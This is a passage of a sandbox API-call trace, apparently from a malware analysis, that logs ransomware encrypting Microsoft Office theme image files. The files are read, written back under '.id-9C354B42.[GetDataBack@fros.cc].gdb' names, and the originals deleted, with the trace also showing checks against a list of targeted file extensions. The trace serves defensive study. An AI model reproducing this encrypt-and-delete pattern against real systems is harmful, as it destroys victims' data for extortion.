shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0124.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0124.619] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.619] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0124.619] GetLastError () returned 0x0 [0124.619] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x6212, lpOverlapped=0x0) returned 1 [0124.621] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x6220, lpOverlapped=0x0) returned 1 [0124.623] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0124.623] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0124.623] SetEndOfFile (hFile=0x210) returned 1 [0124.623] CloseHandle (hObject=0x210) returned 1 [0124.623] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.623] SetEndOfFile (hFile=0x218) returned 1 [0124.624] CloseHandle (hObject=0x218) returned 1 [0124.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.625] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0124.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.625] lstrlenW (lpString=".doc") returned 4 [0124.625] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.625] lstrlenW (lpString=".docx") returned 5 [0124.625] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.625] lstrlenW (lpString=".pdf") returned 4 [0124.625] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.625] lstrlenW (lpString=".xls") returned 4 [0124.625] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.625] lstrlenW (lpString=".xlsx") returned 5 [0124.625] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.625] lstrlenW (lpString=".ppt") returned 4 [0124.625] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.625] lstrlenW (lpString=".zip") returned 4 [0124.625] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.625] lstrlenW (lpString=".rar") returned 4 [0124.625] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.625] lstrlenW (lpString=".bz2") returned 4 [0124.625] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.625] lstrlenW (lpString=".7z") returned 3 [0124.625] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.626] lstrlenW (lpString=".dbf") returned 4 [0124.626] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.626] lstrlenW (lpString=".1cd") returned 4 [0124.626] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.626] lstrlenW (lpString=".jpg") returned 4 [0124.626] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.626] lstrlenW (lpString=".doc") returned 4 [0124.626] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.626] lstrlenW (lpString=".docx") returned 5 [0124.626] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.626] lstrlenW (lpString=".pdf") returned 4 [0124.626] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.626] lstrlenW (lpString=".xls") returned 4 [0124.626] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.626] lstrlenW (lpString=".xlsx") returned 5 [0124.626] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.626] lstrlenW (lpString=".ppt") returned 4 [0124.626] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.626] lstrlenW (lpString=".zip") returned 4 [0124.626] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.626] lstrlenW (lpString=".rar") returned 4 [0124.626] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.626] lstrlenW (lpString=".bz2") returned 4 [0124.626] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.626] lstrlenW (lpString=".7z") returned 3 [0124.626] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.626] lstrlenW (lpString=".dbf") returned 4 [0124.627] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.627] lstrlenW (lpString=".1cd") returned 4 [0124.627] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0124.627] lstrlenW (lpString=".jpg") returned 4 [0124.627] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.627] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0124.627] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0124.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0124.628] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1347) returned 1 [0124.628] CloseHandle (hObject=0x218) returned 1 [0124.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0124.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0124.628] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.628] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0124.630] GetLastError () returned 0x0 [0124.630] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x543, lpOverlapped=0x0) returned 1 [0124.633] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x550, lpOverlapped=0x0) returned 1 [0124.850] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0124.850] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.106] SetEndOfFile (hFile=0x210) returned 1 [0125.106] CloseHandle (hObject=0x210) returned 1 [0125.106] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.106] SetEndOfFile (hFile=0x218) returned 1 [0125.107] CloseHandle (hObject=0x218) returned 1 [0125.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0125.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.108] lstrlenW (lpString=".doc") returned 4 [0125.108] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.108] lstrlenW (lpString=".docx") returned 5 [0125.108] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.108] lstrlenW (lpString=".pdf") returned 4 [0125.108] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.108] lstrlenW (lpString=".xls") returned 4 [0125.108] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.108] lstrlenW (lpString=".xlsx") returned 5 [0125.108] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.108] lstrlenW (lpString=".ppt") returned 4 [0125.108] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.108] lstrlenW (lpString=".zip") returned 4 [0125.108] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.108] lstrlenW (lpString=".rar") returned 4 [0125.108] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.108] lstrlenW (lpString=".bz2") returned 4 [0125.108] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.108] lstrlenW (lpString=".7z") returned 3 [0125.108] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.108] lstrlenW (lpString=".dbf") returned 4 [0125.108] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.108] lstrlenW (lpString=".1cd") returned 4 [0125.108] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.108] lstrlenW (lpString=".jpg") returned 4 [0125.108] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.109] lstrlenW (lpString=".doc") returned 4 [0125.109] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.109] lstrlenW (lpString=".docx") returned 5 [0125.109] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.109] lstrlenW (lpString=".pdf") returned 4 [0125.109] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.109] lstrlenW (lpString=".xls") returned 4 [0125.109] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.109] lstrlenW (lpString=".xlsx") returned 5 [0125.109] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.109] lstrlenW (lpString=".ppt") returned 4 [0125.109] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.109] lstrlenW (lpString=".zip") returned 4 [0125.109] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.109] lstrlenW (lpString=".rar") returned 4 [0125.109] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.109] lstrlenW (lpString=".bz2") returned 4 [0125.109] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.109] lstrlenW (lpString=".7z") returned 3 [0125.109] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.109] lstrlenW (lpString=".dbf") returned 4 [0125.109] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.109] lstrlenW (lpString=".1cd") returned 4 [0125.110] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0125.110] lstrlenW (lpString=".jpg") returned 4 [0125.110] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.110] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.110] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.111] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1354) returned 1 [0125.111] CloseHandle (hObject=0x218) returned 1 [0125.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0125.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.111] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.111] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0125.121] GetLastError () returned 0x0 [0125.121] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x54a, lpOverlapped=0x0) returned 1 [0125.122] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x550, lpOverlapped=0x0) returned 1 [0125.123] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.123] WriteFile (in: hFile=0x214, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.123] SetEndOfFile (hFile=0x214) returned 1 [0125.123] CloseHandle (hObject=0x214) returned 1 [0125.124] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.124] SetEndOfFile (hFile=0x218) returned 1 [0125.124] CloseHandle (hObject=0x218) returned 1 [0125.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.125] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0125.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.125] lstrlenW (lpString=".doc") returned 4 [0125.125] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.125] lstrlenW (lpString=".docx") returned 5 [0125.125] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.125] lstrlenW (lpString=".pdf") returned 4 [0125.125] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.125] lstrlenW (lpString=".xls") returned 4 [0125.125] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.125] lstrlenW (lpString=".xlsx") returned 5 [0125.125] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.125] lstrlenW (lpString=".ppt") returned 4 [0125.125] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.125] lstrlenW (lpString=".zip") returned 4 [0125.125] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString=".rar") returned 4 [0125.126] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString=".bz2") returned 4 [0125.126] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.126] lstrlenW (lpString=".7z") returned 3 [0125.126] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.126] lstrlenW (lpString=".dbf") returned 4 [0125.126] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.126] lstrlenW (lpString=".1cd") returned 4 [0125.126] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.126] lstrlenW (lpString=".jpg") returned 4 [0125.126] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.126] lstrlenW (lpString=".doc") returned 4 [0125.126] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.126] lstrlenW (lpString=".docx") returned 5 [0125.126] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.126] lstrlenW (lpString=".pdf") returned 4 [0125.126] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString=".xls") returned 4 [0125.126] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString=".xlsx") returned 5 [0125.126] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.126] lstrlenW (lpString=".ppt") returned 4 [0125.126] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.126] lstrlenW (lpString=".zip") returned 4 [0125.126] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString=".rar") returned 4 [0125.126] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.126] lstrlenW (lpString=".bz2") returned 4 [0125.127] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.127] lstrlenW (lpString=".7z") returned 3 [0125.127] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.127] lstrlenW (lpString=".dbf") returned 4 [0125.127] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.127] lstrlenW (lpString=".1cd") returned 4 [0125.127] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0125.127] lstrlenW (lpString=".jpg") returned 4 [0125.127] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.127] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.127] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0125.127] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=5120) returned 1 [0125.127] CloseHandle (hObject=0x218) returned 1 [0125.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0125.128] 